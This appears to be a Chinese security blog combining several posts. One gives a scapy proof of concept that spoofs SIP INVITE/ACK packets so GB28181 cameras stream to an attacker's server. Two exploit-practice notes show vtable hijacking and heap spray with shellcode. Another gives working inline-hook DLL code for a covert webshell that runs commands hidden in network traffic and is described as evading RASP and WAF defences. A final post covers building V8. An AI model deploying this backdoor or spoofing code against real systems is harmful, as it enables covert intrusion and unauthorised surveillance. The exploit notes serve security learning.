GB28181 的一点小问题

GB28181

GB28181 是视频监控领域的国家标准,规定了公共安全视频监控联网系统的互联结构, 传输、交换、控制的基本要求和安全性要求, 以及控制、传输流程和协议接口等技术要求。

目前大多数厂商的摄像头都支持这个协议,用户可以自己实现媒体服务器,使用这个协议从摄像头上拉流观看。

客户端拉流过程

见图

1

GB28181 协议会话通道用的是 SIP 协议,往下看需要一些 SIP 协议相关的知识。

带入到实际场景中,各个实体的身份 ⬇️:

  • 媒体流接收者:观众,客户端
  • SIP 服务器:信令服务器,和摄像头 NVR 设备交互,摄像头 NVR 在使用前需要发送 REGISTER 包注册到 SIP 服务器
  • 媒体服务器:接收推流的服务器,转发媒体流给观众
  • 媒体流发送者:摄像头 NVR

过程:

1、媒体流接收者向 SIP 服务器发送 Invite 消息,消息头域中携带 Subject 字段,表明点播的视频 源 ID、分辨率、媒体流接收者 ID、接收端媒体流序列号标识等参数,SDP 消息体中 s 字段为“Play” 代表实时点播;

2、SIP 服务器收到 Invite 请求后,通过三方呼叫控制建立媒体服务器和媒体流发送者之间的媒体连接。向媒体服务器发送 Invite 消息,此消息不携带 SDP 消息体;

3、媒体服务器收到 SIP 服务器的 Invite 请求后,回复 200OK 响应,携带 SDP 消息体,消息体中 描述了媒体服务器接收媒体流的 IP、端口、媒体格式等内容;

4、SIP 服务器收到媒体服务器返回的 200OK 响应后,向媒体流发送者发送 Invite 请求,请求中携 带消息 3 中媒体服务器回复的 200OK 响应消息体,并且修改 s 字段为“Play”代表实时点播,增 加 y 字段描述 SSRC 值,f 字段描述媒体参数;

5、媒体流发送者收到 SIP 服务器的 Invite 请求后,回复 200OK 响应,携带 SDP 消息体,消息体 中描述了媒体流发送者发送媒体流的 IP、端口、媒体格式、SSRC 字段等内容;

6、SIP 服务器收到媒体流发送者返回的 200OK 响应后,向媒体服务器发送 ACK 请求,请求中携 带消息 5 中媒体流发送者回复的 200OK 响应消息体,完成与媒体服务器的 Invite 会话建立过程;

7、SIP 服务器收到媒体流发送者返回的 200OK 响应后,向媒体流发送者发送 ACK 请求,请求中 不携带消息体,完成与媒体流发送者的 Invite 会话建立过程;

之后媒体流发送者推流到媒体服务器,媒体服务器在转发给接收者。

风险点

看上面的活动图,媒体流发送者在收到 SIP 服务器的 INVITE + ACK 包之后就开始推流,
BYE 包用于终止推流,其它实体和它并没有交互。

一般情况下,NVR 支持的 SIP 是基于 UDP 的,而 UDP 报文的源 IP 是可以伪造。假如流媒体发送者(即NVR)没有对接受的信令校验认证,攻击者只要知道 SIP 服务器的 IP 地址,就可以伪造 SIP 服务器的身份,向 NVR 发起推流请求 (INVITE + ACK 包),推流到任意的流媒体服务器。

如下

2

最终效果是绕过 SIP 服务器,直接看摄像头了。

scapy 写 POC 很容易

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from scapy.all import *

INVITE_PKG ='''INVITE sip:66612310001@192.168.1.2 SIP/2.0
Call-ID: 0a097798b89c7897982198abcde8291@192.168.1.1
CSeq: 2 INVITE
From: <sip:77779200001@6661200000>;tag=fromTag
To: <sip:66612310001@6661200000>
Via: SIP/2.0/UDP 192.168.1.2
Max-Forwards: 70
Contact: <sip:77779200001@192.168.1.1:5060>
Content-Type: Application/SDP
Content-Length: 248

v=0
o=77779200001 0 0 IN IP4 192.168.1.1
s=Play
u=66612310001:0
c=IN IP4 188.8.8.8
t=0 0
m=video 2021 RTP/AVP 96 98 97
a=recvonly
a=rtpmap:96 PS/90000
a=rtpmap:98 H264/90000
a=rtpmap:97 MPEG4/90000
y=0200000849

'''.replace('\n','\r\n')

sendp(Ether()/IP(dst='192.168.1.2',src='192.168.1.1')/UDP(dport=5060)/INVITE_PKG)

ACK_PKG = '''ACK sip:66612310001@192.168.1.2 SIP/2.0
Call-ID: 0a097798b89c7897982198abcde8291@192.168.1.1
CSeq: 2 ACK
From: <sip:77779200001@6661200000>;tag=fromTag
To: <sip:66612310001@6661200000>
Via: SIP/2.0/UDP 192.168.1.2
Max-Forwards: 70
Contact: <sip:77779200001@192.168.1.1:5060>
Content-Type: Application/SDP
Content-Length: 0

'''.replace('\n','\r\n')

sendp(Ether()/IP(dst='192.168.1.2',src='192.168.1.1')/UDP(dport=5060)/ACK_PKG)

目前国内要求运营商在接入网上进行源地址验证,所以公网上这种攻击可能不是那么容易成功,但总有些路由器设备配置会存在缺陷,还是可以伪造的,看运气了。

End

GB28181 中有提到关于 “SIP 信令认证”,在 SIP 服务器和媒体流发送者之间加入一个加密模块,每个 SIP 信令中加入额外的校验字段。在每一端接收到 SIP 信令后都要去和这个加密模块校验,校验通过的信令才会被处理。

3

前端设备: 联网系统中安装于监控现场的信息采集、编码/处理、存储、传输、安全控制等设备。 这里指 NVR。

这只是一个补充的部分,还没有看到有哪家监控厂商实现,因为需要有配套的 SIP 服务器,大客户才能定制吧。

如果对安全性要求比较高,可以考虑让 NVR 走安全隧道。

【RealPwn-2】 堆喷练习

[RealPwn] 系列是我学习 pwn 的笔记,只记录真实场景中常用到的漏洞利用技术。

堆喷

堆喷的利用,简单概括就是,申请大量内存,申请到 0x0C0C0C0C ,写入 slides + shellcode ,再控制 EIP 指向 0x0C0C0C0C 即可。

理论上这里的 0x0C0C0C0C 可以替换为别的,比如 0x900x0D 等不影响shellcode 执行的指令。

实际场景,常见的思路是覆盖对象的虚函数表指针 vptr,在 0x0C0C0C0C 伪造一个虚函数表,填满 0x0C0C0C0C + shellcode ,当调用对象的虚函数时,会取到 0x0C0C0C0C 作为函数的地址,跳回到 0x0C0C0C0C 的起始,把后面的数据当作指令执行,

v

为什么不用 0x90909090 (nop;nop;nop;nop;) ? 是因为 0x90909090 > 0x7fffffff 处在内核空间,程序跳到那会 crash。

调试

开始调吧,还是 VS2019 + x32dbg 。

代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
#include <iostream>
#include <Windows.h>

#define ALLOC_SIZE 0x100000

using namespace std;

class A {
public:
virtual int pwn() {
return 1;
}
};

// 弹计算器
char shellcode[] = "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
"\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
"\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
"\x8d\x5d\x6a\x01\x8d\x85\xb2\x00\x00\x00\x50\x68\x31\x8b\x6f"
"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5"
"\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a"
"\x00\x53\xff\xd5\x63\x61\x6c\x63\x00";

int main() {
char msg[128];

A* a = new A;
long* a_addr = (long*) a;
long* vptr = (long*) ( *a_addr);

a_addr[0] = 0x0C0C0C0C; // 修改 vptr

sprintf_s(msg, "object a address: 0x%p", a_addr);
cout << msg << endl;
sprintf_s(msg, "vtable address: 0x%p", vptr[0]);
cout << msg << endl;

system("pause");

for(int i = 0; i < 0x100 ; i++) { // 模拟堆喷,申请大量内存,256 个 chunk
long* buf = (long*) malloc(ALLOC_SIZE); // 1MB

sprintf_s(msg, "chunk[%d] addr: 0x%p", i, buf);
cout << msg << endl;

if((long) buf == 0) break; // 内存不足 malloc 失败

memset(buf, 0x0c, ALLOC_SIZE - sizeof(shellcode)); // 填充 slides
if((long) buf + ALLOC_SIZE > 0x0c0c0c0c && (long) buf < 0x0c0c0c0c){ // 此处判断可以省略
memset(buf, 0x0c, ALLOC_SIZE - sizeof(shellcode)); // 填充 slides
memcpy(buf + (ALLOC_SIZE - sizeof(shellcode))/4, shellcode, sizeof(shellcode)); // 写 shellcode
system("pause");
break;
}
}

system("pause");

a->pwn(); // 调用虚函数

return 0;
}

运行程序

1

代码里直接把 vptr 已经修改成 0x0C0C0C0C ,模拟虚函数表劫持。

bp 0x0c0c0c0c 打上断点,继续。

2

3

这里模拟了堆喷的过程,申请到的 0x0C0C0C0Cchunk\[158\] 里。

可以看到在向堆申请空间时,地址是从小到大的,有一定随机性,且有概率申请不到 0x0C0C0C0C ,这可能也是二进制漏洞利用不如web漏洞利用稳定的原因之一。

4

5

现在已经 slides 和 shellcode 都写上去了。

继续,就到调用虚函数了,顺利的话就会弹出计算器。

注意,malloc 的内存默认只有 RW 权限,同 【RealPwn-1】 虚函数表劫持练习 一样,需要暂时关闭 DEP 才能执行 shellcode,实际场景中需要构造 ROP 链。

6

References

【RealPwn-1】 虚函数表劫持练习

[RealPwn] 系列是我学习 pwn 的笔记,只记录真实场景中常用到的漏洞利用技术。

虚函数表

C++ 里,为了实现 “多态” ,使用了虚函数表 (vtable)。

每个含有虚函数的类的对象,在内存的起始处有一个 vptr 的指针,指向虚函数表。

虚函数表存了类里所有虚函数的指针。调用函数时,在这个虚函数表里查找实际要调用的函数。

借用网上的一张图

vft.png

特性

总结下虚函数表的特性:

  1. 虚函数表在 .data 段,仅可读,无法修改

  2. 虚函数表类似一个数组,每个有虚函数的类的对象实例都存储指向虚函数表的指针。

  3. 虚函数表指针 vptr 一般在对象起始的 4 字节(32 位) 或 8 字节(64 位),多重继承时有可能存在多个虚函数表,

调试

下面调试一下,环境 VS2019 + x32dbg:

代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#include <iostream>
#include <Windows.h>

using namespace std;

class A {
public :
virtual int hijackme() {
return 1;
}
};

int main() {
char msg[128];

A* a = new A;
long* a_addr = (long*) a;
long* vptr = (long*) ( *a_addr);

sprintf(msg, "object a address: 0x%p", a_addr);
cout << msg << endl;
sprintf(msg, "vtable address: 0x%p", vptr[0]);
cout << msg << endl;

system("pause");
return 0;
}

image-20210702163648268

x32dbg 里看内存

image-20210702163707394

0x014FD028 是 vptr ,指向虚函数表。

image-20210702163900420

0xB131EC 是虚函数表,所在内存是只读的无法修改,它指向的是函数实际的地址,无法修改虚表中函数的地址。

image-20210702164047943

对象是在堆上的,它的内存是 RW 可读可写的,常见的攻击思路是修改对象的虚函数表指针 vptr ,即 0x014FD028 中的数据。

image-20210702164627019

试验一下。

要在内存中伪造出一个虚表,将对象的虚表指针指向它。

修改代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
#include <iostream>
#include <Windows.h>

using namespace std;

class A {
public :
virtual int hijackme() {
return 1;
}
};

// 弹计算器
char shellcode[0x1000] = "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
"\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
"\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
"\x8d\x5d\x6a\x01\x8d\x85\xb2\x00\x00\x00\x50\x68\x31\x8b\x6f"
"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5"
"\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a"
"\x00\x53\xff\xd5\x63\x61\x6c\x63\x00";

int main() {
char msg[128];

A* a = new A;
long* a_addr = (long*) a;
long* vptr = (long*) ( *a_addr );

sprintf(msg, "object a address: 0x%p", a_addr);
cout << msg << endl;
sprintf(msg, "vtable address: 0x%p", vptr[0]);
cout << msg << endl;

system("pause");

char fake_vtable[4]; //伪造一个虚表
long shellcode_addr = (long)((long*) (shellcode));
memcpy(fake_vtable, &shellcode_addr ,4); //虚表指向shellcode

sprintf(msg, "fake_vtable address: 0x%p", &fake_vtable);
cout << msg << endl;

sprintf(msg, "shellcode address: 0x%p", (long*) shellcode);
cout << msg << endl;

system("pause");

long fake_vtable_addr = (long) ( (long*) fake_vtable );
memcpy(tmp, &fake_vtable_addr, 4); // 修改对象虚表指针,指向伪造的虚表

system("pause");

a->hijackme();

return 0;
}

重新执行

image-20210702175254591

0x00DCFE44 处构造一个虚表,只要一个项,指向 0x00535020

image-20210702174543785

0x00535020 是 shellcode

image-20210702174636492

这里涉及到一个问题,shellcode 是在 .data 段不可执行的,一般来说需要构造 ROP 链,给 shellcode 所在内存加上执行权限。这里略过这个问题,暂时先关掉 DEP(属性 —> 链接器 —> 高级)。

image-20210702173559882

应该就可以执行 shellcode 了。

vtable-hijacking

References

C++虚函数调用攻防战

利用 Hook 技术打造通用的 Webshell

本文首发 https://xz.aliyun.com/t/9774

标题中的 “通用” 指跨语言,本文的实现是基于 Windows 的,需要 Linux 的可以参考本文的思路,实现起来并没有太大区别。

原理

Windows 上程序涉及网络 socket 操作,一般都会用到 winsock2 的库,程序会动态链接 ws2_32.dll ,JVM,Python,Zend 等解释器都不例外。

winsock2 里 socket 操作相关的函数 recv send closesocket 会编程的应该都不陌生。hook 掉 recv 函数就可以在程序处理接受到网络数据前,进入我们的处理逻辑早一步收到数据。

由于实现是 native 的,所以在成功 hook 的情况下能绕过现代的 RASP、IAST、云WAF 等现代流行的防护技术。

Inline Hook

Inline Hook 是在程序运行时直接修改指令,插入跳转指令(jmp/call/retn)来控制程序执行流的一种技术。相比别的 Hook 技术,Inline Hook 优点是能跨平台,稳定,本文是以此技术实现的。

实现

具体实现分为两个部分,一个是hook函数的 DLL(只讲这个);另一个是向进程注入 DLL 的辅助工具(网上的文章很多,需要的见完整源码)。

InstallHook

安装钩子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#define START_BLOCK "#CMD0#"
#define END_BLOCK "#CMD1#"

DWORD dwInstSize = 12;
BYTE RecvEntryPointInst[12] = { 0x00 };
BYTE RecvEntryPointInstHook[12] = { 0x48, 0xB8, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0xFF, 0xE0 };
BYTE WSARecvEntryPointInst[12] = { 0x00 };
BYTE WSARecvEntryPointInstHook[12] = { 0x48, 0xB8, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0xFF, 0xE0 };

typedef int ( *PFNRecv )( SOCKET, char*, int, int );
typedef int ( *PFNSend )( SOCKET, char*, int, int );

typedef int ( *PFNWSARecv ) ( SOCKET, LPWSABUF, DWORD, LPDWORD, LPDWORD, LPWSAOVERLAPPED, LPWSAOVERLAPPED_COMPLETION_ROUTINE );
typedef int ( *PFNWSASend ) ( SOCKET, LPWSABUF, DWORD, LPDWORD, LPDWORD, LPWSAOVERLAPPED, LPWSAOVERLAPPED_COMPLETION_ROUTINE );

void InstallHook(LPCWSTR lpModule, LPCSTR lpFuncName, LPVOID lpFunction) {
DWORD_PTR FuncAddress = (UINT64) GetProcAddress(GetModuleHandleW(lpModule), lpFuncName);
DWORD OldProtect = 0;

if(VirtualProtect((LPVOID) FuncAddress, dwInstSize, PAGE_EXECUTE_READWRITE, &OldProtect))
{
if(!strcmp(lpFuncName, "recv")) {
memcpy(RecvEntryPointInst, (LPVOID) FuncAddress, dwInstSize);
*(PINT64) ( RecvEntryPointInstHook + 2 ) = (UINT64) lpFunction;
}
if(!strcmp(lpFuncName, "WSARecv")) {
memcpy(WSARecvEntryPointInst, (LPVOID) FuncAddress, dwInstSize);
*(PINT64) ( WSARecvEntryPointInstHook + 2 ) = (UINT64) lpFunction;
}
}

if(!strcmp(lpFuncName, "recv"))
memcpy((LPVOID) FuncAddress, &RecvEntryPointInstHook, sizeof(RecvEntryPointInstHook));
if(!strcmp(lpFuncName,"WSARecv"))
memcpy((LPVOID) FuncAddress, &WSARecvEntryPointInstHook, sizeof(WSARecvEntryPointInstHook));

VirtualProtect((LPVOID) FuncAddress, dwInstSize, OldProtect, &OldProtect);
}

UninstallHook

卸载钩子

1
2
3
4
5
6
7
8
9
10
11
12
13
void UninstallHook(LPCWSTR lpModule, LPCSTR lpFuncName) {
UINT64 FuncAddress = (UINT64) GetProcAddress(GetModuleHandleW(lpModule), lpFuncName);
DWORD OldProtect = 0;

if(VirtualProtect((LPVOID) FuncAddress, dwInstSize, PAGE_EXECUTE_READWRITE, &OldProtect))
{
if(!strcmp(lpFuncName, "recv"))
memcpy((LPVOID) FuncAddress, RecvEntryPointInst, sizeof(RecvEntryPointInst));
if(!strcmp(lpFuncName,"WSARecv"))
memcpy((LPVOID) FuncAddress, WSARecvEntryPointInst, sizeof(WSARecvEntryPointInst));
}
VirtualProtect((LPVOID) FuncAddress, dwInstSize, OldProtect, &OldProtect);
}

HookRecv

hook recv 的函数,程序在执行 recv 时,会先进入这个函数。

在这个函数里,调用原来的 recv 获取数据,判断是否有START_BLOCKEND_BLOCK块,有的话就取出块之间的命令,执行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
int WINAPI HookRecv(SOCKET s, char* buf, int len, int flags) {
UninstallHook(L"ws2_32.dll", "recv");

PFNRecv pfnRecv = (PFNRecv) GetProcAddress(GetModuleHandleW(L"ws2_32.dll"), "recv");
PFNSend pfnSend = (PFNSend) GetProcAddress(GetModuleHandleW(L"ws2_32.dll"), "send");
PFNClosesocket pfnClosesocket = (PFNClosesocket) GetProcAddress(GetModuleHandleW(L"ws2_32.dll"), "closesocket");

int rc = pfnRecv(s, buf, len, flags);

char* startBlock = strstr(buf, START_BLOCK);
if(startBlock) {
char* endBlock = strstr(startBlock, END_BLOCK);
if(endBlock) {
std::string start_block = std::string(startBlock);
int endOffset = start_block.find(END_BLOCK, sizeof(START_BLOCK));
std::string cmd = start_block.substr(sizeof(START_BLOCK) - 1, start_block.size() - sizeof(START_BLOCK) - ( start_block.size() - endOffset ) + 1);

std::string output = WSTR2STR(ExecuteCmd(cmd));

pfnSend(s, (char*) output.c_str(), output.size(), 0);
pfnClosesocket(s);
}
}

InstallHook(L"ws2_32.dll", "recv", (LPVOID) HookRecv);

return rc;
}


int WINAPI HookWSARecv(SOCKET s, LPWSABUF lpBuffer, DWORD dwBufferCount, LPDWORD lpNumberOfBytesRecvd, LPDWORD lpFlags, LPWSAOVERLAPPED lpOverlapped, LPWSAOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine) {

UninstallHook(L"ws2_32.dll", "WSARecv");

PFNWSARecv pfnWSARecv = (PFNWSARecv) GetProcAddress(GetModuleHandleW(L"ws2_32.dll"), "WSARecv");
PFNWSASend pfnWSASend = (PFNWSASend) GetProcAddress(GetModuleHandleW(L"ws2_32.dll"), "WSASend");
PFNClosesocket pfnClosesocket = (PFNClosesocket) GetProcAddress(GetModuleHandleW(L"ws2_32.dll"), "closesocket");

int rc = pfnWSARecv(s, lpBuffer, dwBufferCount, lpNumberOfBytesRecvd, lpFlags, lpOverlapped, lpCompletionRoutine);

char* startBlock = strstr(lpBuffer->buf, START_BLOCK);
if(startBlock) {
char* endBlock = strstr(startBlock, END_BLOCK);
if(endBlock) {
std::string start_block = std::string(startBlock);
int endOffset = start_block.find(END_BLOCK, sizeof(START_BLOCK));
std::string cmd = start_block.substr(sizeof(START_BLOCK) - 1, start_block.size() - sizeof(START_BLOCK) - ( start_block.size() - endOffset ) + 1);

WSABUF outBuf;
std::string output = WSTR2STR(ExecuteCmd(cmd));
outBuf.buf = (char*) output.c_str();
outBuf.len = output.size();

pfnWSASend(s, &outBuf, 1, lpNumberOfBytesRecvd, 0, 0, 0);
pfnClosesocket(s);
}
}

InstallHook(L"ws2_32.dll", "WSARecv", (LPVOID) HookWSARecv);

return rc;
}

这里还 hook 了 WSARecv ,是因为我在 Tomcat 上测试遇到个问题 hook recv 后收到的数据是乱码,长度也对不上。 后来想到 Tomcat 现在默认是 NIO 处理,JVM 的用的 API 可能不一样,翻看了一下源码,发现 Windows 上 NIO 相关的 socket 操作函数实际用的是 WSARecvWSASend 等带 WSA 前缀的,加了 hook 点之后能正常读到数据了。

DllMain

DLL 入口,调用安装钩子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved) {
switch(fdwReason)
{
case DLL_PROCESS_ATTACH:
InstallHook(L"ws2_32.dll", "recv", (LPVOID) HookRecv);
InstallHook(L"ws2_32.dll", "WSARecv", (LPVOID) HookWSARecv);
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}

效果

Java

java

Python

python

在 Win10 上编译 V8 引擎

记录一下编译 V8 踩坑的过程(以下全程需要科学上网,我是配了 Proxifier)

过程

  1. 先安装 VisualStudio 2019,略详细过程

  2. clone 开发环境

    1
    2
    3
    cd /d d:\

    git clone https://chromium.googlesource.com/chromium/tools/depot_tools
  3. 设置环境变量

    1
    2
    set DEPOT_TOOLS_WIN_TOOLCHAIN=0
    set GYP_MSVS_VERSION=2019 # 视VS版本而定
  4. clone v8 仓库,完整的大概 700M

    1
    fetch v8
  5. 同步第三方组件,会花一点时间

    1
    gclient sync
  6. 生成编译配置

    1
    python tools/dev/v8gen.py ia32.debug
  7. 编译,大概 10 分钟

    1
    ninja -C .\out.gn\ia32.debug d8 -j12
  8. 完成

问题

提示缺少 LASTCHANGE

1
python .\build\util\lastchange.py .\build\util\LASTCHANGE

找不到 clang-cl.exe

1
python .\tools\clang\scripts\update.py
|